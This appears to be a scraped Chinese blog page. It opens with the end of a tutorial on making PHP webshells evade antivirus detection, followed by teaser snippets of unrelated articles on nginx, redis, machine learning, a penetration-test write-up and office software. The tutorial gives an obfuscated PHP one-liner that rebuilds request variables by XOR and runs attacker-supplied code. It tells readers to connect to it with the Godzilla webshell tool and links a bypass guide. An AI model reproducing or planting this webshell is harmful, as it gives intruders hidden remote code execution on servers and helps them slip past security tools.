既然上面的代码你看懂了,那不妨看一下下面魔改的代码:

 
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
 

直接用 Godzilla 哥斯拉来连接,如下:

图片

当然这里使用到 assert 高危函数,只能用于 php 在 5.* 的版本,相关姿势读者不妨自行拓展一下哈哈~

所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~

下载地址

项目地址:https://github.com/AabyssZG/WebShell-Bypass-Guide

相关文章:

傻瓜式PHP-Webshell免杀学习手册,零基础小白也能看懂

项目描述 一、PHP相关资料 PHP官方手册&#xff1a; https://www.php.net/manual/zh/ PHP函数参考&#xff1a; https://www.php.net/manual/zh/funcref.php 菜鸟教程&#xff1a; https://www.runoob.com/php/php-tutorial.html w3school&#xff1a; https://www.w3school…...

第十九次(安装nginx代理tomcat)

回顾 1.安装nodejs---jdk一样你的软件运行环境 yum -y list install|grep epel $? yum -y install nodejs #版本号 node -v 2.下载对应的nodejs软件npm yum -y install npm npm -v npm set config ...淘宝镜像 3.安装vue/cli command line interface 命令行接口 npm ins…...

小红书0510笔试-选择题

Cache-Control&#xff1a;这是一个用于定义缓存行为的头部字段&#xff0c;它可以设定多个值来控制缓存的各个方面&#xff0c;如“public”、“private”、“no-cache”、“max-age”等。虽然Cache-Control的max-age指令可以指定缓存项的有效期&#xff0c;但它并不直接标识资…...

3.Java面试题之AQS

1. 写在前面 AQS&#xff08;AbstractQueuedSynchronizer&#xff09;是Java并发包&#xff08;java.util.concurrent&#xff09;中的一个抽象类&#xff0c;用于实现同步器&#xff08;如锁、信号量、栅栏等&#xff09;。AQS提供了一种基于FIFO队列的机制来管理线程的竞争和…...

redis的集群(高可用)

redis集群的三种模式&#xff1a; 主从复制 奇数 三台 一主两从 哨兵模式 3 一主两从 cluster集群 六台 主从复制&#xff1a;和mysql的主从复制类似&#xff0c;主可以写&#xff0c;写入主的数据通过RDB方式把数据同步到从服务器&#xff0c;从不能更新到主&#xff0c;也…...

随机森林的算法

1、随机森林算法简介 随机森林算法(Random Forests)是LeoBreiman于2001年提出的&#xff0c;它是一种通过重采样办法从原始训练样本集中有放回地重复随机抽取若干个样本生成多个决策树&#xff0c;样本的最终预测值由这些决策树的结果投票决定的一种有监督集成学习模型。 其核…...

3.1、数据结构-线性表

数据结构 数据结构线性结构线性表顺序存储和链式存储区别单链表的插入和删除练习题 栈和队列练习题 串&#xff08;了解&#xff09; 数据结构 数据结构该章节非常重要&#xff0c;上午每年都会考10-12分选择题下午一个大题 什么叫数据结构&#xff1f;我们首先来理解一下什…...

记一次对HTB:Carpediem的渗透测试

信息收集 端口扫描 通过nmap对靶机端口进行探测&#xff0c;发现存在22和80端口。 访问web页面。发现是一个静态页面&#xff0c;没有可利用的部分。 目录扫描 子域枚举 通过对域名进行fuzz子域名&#xff0c;发现存在portal一级域名。 将它加入/etc/hosts&#xff0c;访问之…...

MATH2 数据集:AI辅助生成高挑战性的数学题目

随着大型语言模型&#xff08;LLMs&#xff09;在理解和生成复杂数学内容方面的能力显著提高&#xff0c;通过利用所有公开数据以及相当一部分私有数据&#xff0c;已经取得了进展。然而&#xff0c;高质量、多样化和具有挑战性的数学问题来源正在逐渐枯竭。即使是寻找新的评估…...

加密货币“蓄势待发”!美国松口降息!九月开始连续降息8次?2025年利率目标3.25-3.5%?

今晨&#xff0c;美国联准会&#xff08;Fed&#xff09;结束FOMC会议&#xff0c;一如市场预期第八度冻涨利率在5.25%-5.5%。不过主席鲍威尔(Jerome Powell)在会后的记者会访出鸽派讯号&#xff0c;暗示9月降息脚步将近。这一消息令金融市场顿时沸腾&#xff0c;美股全面大涨&…...

Vue.js 3.x 必修课|005|代码规范与 ESLint 入门

欢迎关注公众号:CodeFit 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 1. 代码规范的重要性 在现代软件开发中,代码规范扮演着至关重要的角色。 特别是在团队协作的环境中,统一的代码风格可以大大提高工作效率和…...

【Linux】动态库|静态库|创建使用|动态库加载过程

目录 ​编辑 前言 静态库 为什么要使用库(形成原理 ) 生成一个静态库 静态库的使用 动态库 生成一个动态库 动态库的使用 解决方法 动态库加载过程 ​编辑 前言 库&#xff08;Library&#xff09;是一种方式&#xff0c;可以将代码打包成可重用的格式&#xff08;站…...

WebSocket 协议与 HTTP 协议、定时轮询技术、长轮询技术

目录 1 为什么需要 WebSocket&#xff1f;2 WebSocket2.1 采用 TCP 全双工2.2 建立 WebSocket 连接2.3 WebSocket 帧 3 WebSocket 解决的问题3.1 HTTP 存在的问题3.2 Ajax 轮询存在的问题3.3 长轮询存在的问题3.4 WebSocket 的改进 参考资料&#xff1a; 为什么有 h…...

二叉树节点问题

问题:设一棵二叉树中有3个叶子结点&#xff0c;有8个度为1的结点&#xff0c;则该二叉树中总的结点数为&#xff08; 13&#xff09;个 设某种二叉树有如下特点&#xff1a;每个结点要么是叶子结点&#xff0c;要么有2棵子树。假如一棵这样的二叉树中有m&#xff08;m>0&…...

公司里的IT是什么?

公司里的IT是什么&#xff1f; 文章目录 公司里的IT是什么&#xff1f;1、公司里的IT2、IT技术3、IT行业4、IT行业常见证书 如果对你有帮助&#xff0c;就点赞收藏把&#xff01;(&#xff61;&#xff65;ω&#xff65;&#xff61;)&#xff89;♡ 前段时间&#xff0c;在公…...

【小程序爬虫入门实战】使用Python爬取易题库

文章目录 1. 写在前面2. 抓包分析 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Python与爬虫领域研…...

案例 —— 怪物出水

一&#xff0c;Ocean Setup 设置海洋Surface Grid&#xff08;使用Large Ocean工具架&#xff09; 调节默认Grid的大小尺寸及细分&#xff08;使用非常小尺寸来测试&#xff09;&#xff1b;调整频谱输入点的多少&#xff0c;频谱Grid Size&#xff0c;波浪方向&#xff0c;速度…...

vue中使用print.js实现页面打印并增加水印

1.安装print.js npm install print-js --save2.在main.js文件中引入并注册(我使用的是print.js的源码文件&#xff0c;并且做了一修改&#xff09; //引入 import Print from ./utils/print//注册 Vue.use(Print); //注册3.在页面中使用 <template> <div class&quo…...

计算机基础(Windows 10+Office 2016)教程 —— 第5章 文档编辑软件Word 2016(下)

文档编辑软件Word 2016 5.4 Word 2016的表格应用5.4.1 创建表格5.4.2 编辑表格5.4.3 设置表格 5.5 Word 2016的图文混排5.5.1 文本框操作5.5.2 图片操作5.5.3 形状操作5.5.4 艺术字操作 5.6 Word 2016的页面格式设置5.6.1 设置纸张大小、页面方向和页边距5.6.2 设置页眉、页脚和…...

简单洗牌算法

&#x1f389;欢迎大家收看&#xff0c;请多多支持&#x1f339; &#x1f970;关注小哇&#xff0c;和我一起成长&#x1f680;个人主页&#x1f680; ⭐目前主更 专栏Java ⭐数据结构 ⭐已更专栏有C语言、计算机网络⭐ 在学习了ArrayList之后&#xff0c;我们可以通过写一个洗…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

java_网络服务相关_gateway_nacos_feign区别联系

1. spring-cloud-starter-gateway 作用&#xff1a;作为微服务架构的网关&#xff0c;统一入口&#xff0c;处理所有外部请求。 核心能力&#xff1a; 路由转发&#xff08;基于路径、服务名等&#xff09;过滤器&#xff08;鉴权、限流、日志、Header 处理&#xff09;支持负…...

【WiFi帧结构】

文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成&#xff1a;MAC头部frame bodyFCS&#xff0c;其中MAC是固定格式的&#xff0c;frame body是可变长度。 MAC头部有frame control&#xff0c;duration&#xff0c;address1&#xff0c;address2&#xff0c;addre…...

2024年赣州旅游投资集团社会招聘笔试真

2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...

JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案

JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停​​ 1. ​​安全点(Safepoint)阻塞​​ ​​现象​​:JVM暂停但无GC日志,日志显示No GCs detected。​​原因​​:JVM等待所有线程进入安全点(如…...

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体&#xff08;对象或容器&#xff09;QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质&#xff08;定义颜色、反光等&#xff09;QFirstPersonC…...

从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障

关键领域软件测试的"安全密码"&#xff1a;Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力&#xff0c;从金融交易到交通管控&#xff0c;这些关乎国计民生的关键领域…...

AD学习(3)

1 PCB封装元素组成及简单的PCB封装创建 封装的组成部分&#xff1a; &#xff08;1&#xff09;PCB焊盘&#xff1a;表层的铜 &#xff0c;top层的铜 &#xff08;2&#xff09;管脚序号&#xff1a;用来关联原理图中的管脚的序号&#xff0c;原理图的序号需要和PCB封装一一…...

echarts使用graphic强行给图增加一个边框(边框根据自己的图形大小设置)- 适用于无法使用dom的样式

pdf-lib https://blog.csdn.net/Shi_haoliu/article/details/148157624?spm1001.2014.3001.5501 为了完成在pdf中导出echarts图&#xff0c;如果边框加在dom上面&#xff0c;pdf-lib导出svg的时候并不会导出边框&#xff0c;所以只能在echarts图上面加边框 grid的边框是在图里…...